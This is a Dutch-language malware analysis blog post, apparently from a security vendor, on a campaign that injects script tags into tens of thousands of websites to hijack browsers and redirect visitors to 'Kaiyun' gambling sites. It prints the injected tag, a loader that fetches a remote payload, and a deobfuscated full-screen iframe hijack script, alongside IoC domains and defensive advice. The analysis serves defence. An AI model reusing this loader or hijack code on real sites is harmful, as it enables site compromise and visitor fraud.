Een nieuwe malwarecampagne heeft meer dan 35.000 websites gecompromitteerd door een kwaadaardig script te injecteren vanaf de hieronder vermelde websites. Zodra het script laadt, kaapt het het browservenster van de gebruiker volledig—en leidt het hen vaak door naar pagina's die een Chinees gokplatform (of casino) promoten onder de naam "Kaiyun".
De aanval lijkt gericht te zijn op of afkomstig te zijn uit regio's waar Mandarijn gangbaar is, en de uiteindelijke bestemmingspagina's tonen gokinhoud onder het merk "Kaiyun".
Lijst van Indicators of Compromise (IoC's):
- Mlbetjs[.]com (18k+ geïnfecteerde websites) - publicwww-link
- Ptfafajs[.]com (9k+ geïnfecteerde websites) - publicwww-link
- Zuizhongjs[.]com (4,8k+ geïnfecteerde websites) - publicwww-link
- Jbwzzzjs[.]com (2,9k+ geïnfecteerde websites) - publicwww-link
- Jpbkte[.]com (30+ geïnfecteerde websites) - publicwww-link
Bent u vergelijkbare doorverwijzingen tegengekomen, of heeft u nieuwe IoC's gevonden? Deel ze gerust of neem contact op met ons team. Door gegevens samen te voegen, kunnen we opkomende dreigingen sneller identificeren en neutraliseren.
Alle hierboven gelinkte sites tonen het volgende bericht:

Vertaald:
Gefeliciteerd, de site is succesvol aangemaakt! Dit is de standaard index.html. Deze pagina wordt automatisch gegenereerd door het systeem. Deze pagina is index.html in de FTP-hoofdmap. U kunt deze pagina aanpassen, verwijderen of overschrijven. Voor FTP-gerelateerde informatie gaat u naar "Paneelsysteem Beheer > FTP".
Het infectieproces
Als voorbeeld hebben we zuizhongjs[.]com geanalyseerd.
Aanvallers plaatsen een eenregelige <script>-tag die verwijst naar zuizhongjs[.]com rechtstreeks in sitebestanden (bijvoorbeeld in de <head> of onderaan de <body>). Hieronder staat een voorbeeld van de geïnjecteerde code:
<script language="javascript"
src="https://www.zuizhongjs[.]com/js/24/12/7/ky1.js"
type="text/javascript"></script>
Verborgen loader
In het geladen bestand gebruiken de aanvallers een JavaScript-fragment dat een ander scriptelement schrijft om aanvullende malware op te halen:
;(function(o, q, f, e, w, j) {
w = q.createElement(f);
j = q.getElementsByTagName(f)[0];
w.async = 1;
w.src = e;
j.parentNode.insertBefore(w, j);
})(window, document, 'script', `https://deski.fastcloudcdn[.]com/m_c_b28cd5c86f08a2b35c766fc4390924de.js?qbsfsc=${Math.floor(Date.now() / 1000)}`);
De bovenstaande code maakt gebruik van stringconcatenatie en eval() om het werkelijke doel te verbergen. Het injecteert een nieuwe <script>-tag die de hoofdpayload ophaalt van hetzelfde kwaadaardige domein.
Primaire payload (gedeobfusceerd)
Hieronder staat een vereenvoudigde versie van het primaire script, met de belangrijkste functionaliteit:
function isMobile() {
return navigator.userAgent.match(/(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i) ? true : false;
}
var url = "https://www.zuizhongjs[.]com/go/kaiyun1/ky.html";
function getIosVersion() {
var str = navigator.userAgent.toLowerCase();
var ver = str.match(/cpu iphone os (.*?) like mac os/);
return ver ? parseInt(ver[1].slice(0,2)) : false;
}
var u = navigator.userAgent;
var isIOS = !!u.match(/\(i[^;]+;( U;)? CPU.+Mac OS X/);
function randomNum(minNum, maxNum) {
return parseInt(Math.random() * (maxNum - minNum + 1) + minNum, 10);
}
const time = randomNum(500, 1000);
console.log(time);
document.write('<meta id="viewport" name="viewport" content="user-scalable=no,width=device-width, initial-scale=1.0" />');
document.write('<style>html,body{width:100%;height:100%;overflow:hidden; clear:both;}</style>');
document.write('<div style="width:100%;height:100%;position:absolute;top:0;left:0;z-index:2147483647;background:#fff">');
document.write('<iframe src="' + url + '" frameborder="0" style="border:0;width: 100%; text-align: center; height:100%;max-height: 4000px;"></iframe>');
document.write('</div>');
Belangrijkste bevindingen
- Apparaatdetectie
- Maakt gebruik van functies zoals isMobile(), getIosVersion() en isIOS om de payload af te stemmen op specifieke apparaten of besturingssystemen.
- Willekeurige vertraging
- randomNum(500, 1000) introduceert een vertraging van 500–1000 ms om geautomatiseerde scans of sandboxdetectie te omzeilen.
- Volledig scherm kapen
- De code injecteert een element dat de volledige pagina bedekt en alle originele inhoud vervangt.
- Verborgen URL
- De initiële url kan verder worden verborgen (bijvoorbeeld via Unicode-escapes). Momenteel verwijst deze naar https://www.zuizhongjs[.]com/go/kaiyun1/ky.html.
- Uiteindelijke doorverwijzing
- Na volledige uitvoering worden sommige gebruikers doorgestuurd naar een tweede domein—bijvoorbeeld **https://www.p11vt3[.]vip:6002/register50154?i_code=21708264**—wat kenmerkend is voor phishing of frauduleuze registratiestromen.
De aanvallers lijken verkeer te sturen naar een Chinees gokplatform (of casino) dat opereert onder het merk "Kaiyun".
Tijdens onze analyse identificeerden we een aantal varianten op geïnfecteerde websites:


Sommige IP-adressen of regio's zien een pagina die aangeeft dat de toegang is geblokkeerd. Gebruikers worden gevraagd contact op te nemen via e-mail of "online support"—mogelijk om beveiligingsonderzoekers te weren of ongewenst verkeer te beperken.

Mogelijke link met de Megalayer-exploit
Onze analyse suggereert dat deze campagne mogelijk verband houdt met de Megalayer-exploit, die bekend staat om de verspreiding van Chinees-talige malware. Aanwijzingen hiervoor zijn:
- Lokalisatie: Chinese tekst, verwijzingen naar Mandarijnsprekend publiek.
- Domeinpatronen: De structuur van zuizhongjs[.]com, plus meerdere omleidingsdomeinen die gebruikmaken van .vip of andere TLD's die populair zijn bij bepaalde dreigingsactoren.
- Obfuscatietechnieken: Unicode-escaped URL's, op code gebaseerde vertragingen, enzovoort.
Hoe u uw website kunt beschermen
De proxy van cside analyseert de payload van elk scriptverzoek in realtime. Als een script probeert een kwaadaardige versie te laden, detecteren wij dat, blokkeren we het laden en waarschuwen we uw team.
cside heeft deze aanval al geblokkeerd voor onze gebruikers en biedt realtime-analyse en proactieve verdediging. Als u vermoedt dat uw site is geïnfecteerd, neem dan onmiddellijk contact op met uw beveiligingsleverancier of hostingprovider.
- Controleer uw broncode
- Controleer uw HTML, themabestanden en CMS-sjablonen op ongeautoriseerde tags die verwijzen naar zuizhongjs[.]com of vergelijkbaar verdachte domeinen.
- Blokkeer kwaadaardige domeinen
- Gebruik firewallregels of DNS-blokkering voor: zuizhongjs[.]com
- p11vt3[.]vip (en bijbehorende subdomeinen)
- Controleer logs op onverwachte uitgaande verzoeken naar deze domeinen.
- Controleer op ongeautoriseerde wijzigingen
- Controleer uw hostingaccount regelmatig of gebruik een bestandsintegriteitscontrole.
- Elke onverklaarde wijziging in kernbestanden kan wijzen op een backdoor of injectiepunt.
- Beperk scripts tot alleen vertrouwde domeinen met een goed gedefinieerde CSP.
- Voorkom dat inline scripts en onbekende bronnen worden geladen.
- Regelmatige sitescans
De ZuizhongJS-malwarecampagne laat zien hoe één geïnjecteerd script duizenden websites kan kapen en nietsvermoedende gebruikers kan doorsturen naar Chinees-talige gokportalen. De aanwezigheid van bekende voetballogo's en sportverwijzingen suggereert een poging tot legitimiteit, maar de gehele operatie lijkt ongelicenseerd of ronduit frauduleus.
- Websitebeheerders: Verwijder geïnjecteerde scripts, blokkeer kwaadaardige domeinen en versterk uw beveiligingsconfiguratie om herinfectie te voorkomen.
- Beveiligingsonderzoekers: Verder onderzoek is nodig om de link met Megalayer te bevestigen, de exacte infiltratiemethoden te achterhalen (zoals kwetsbare CMS-plugins of gestolen inloggegevens) en aanvullende domeinen te traceren.
cside heeft deze aanval succesvol gedetecteerd en geblokkeerd. Als u zich zorgen maakt over mogelijke infecties, kan ons systeem realtime-analyse en proactieve verdediging bieden.




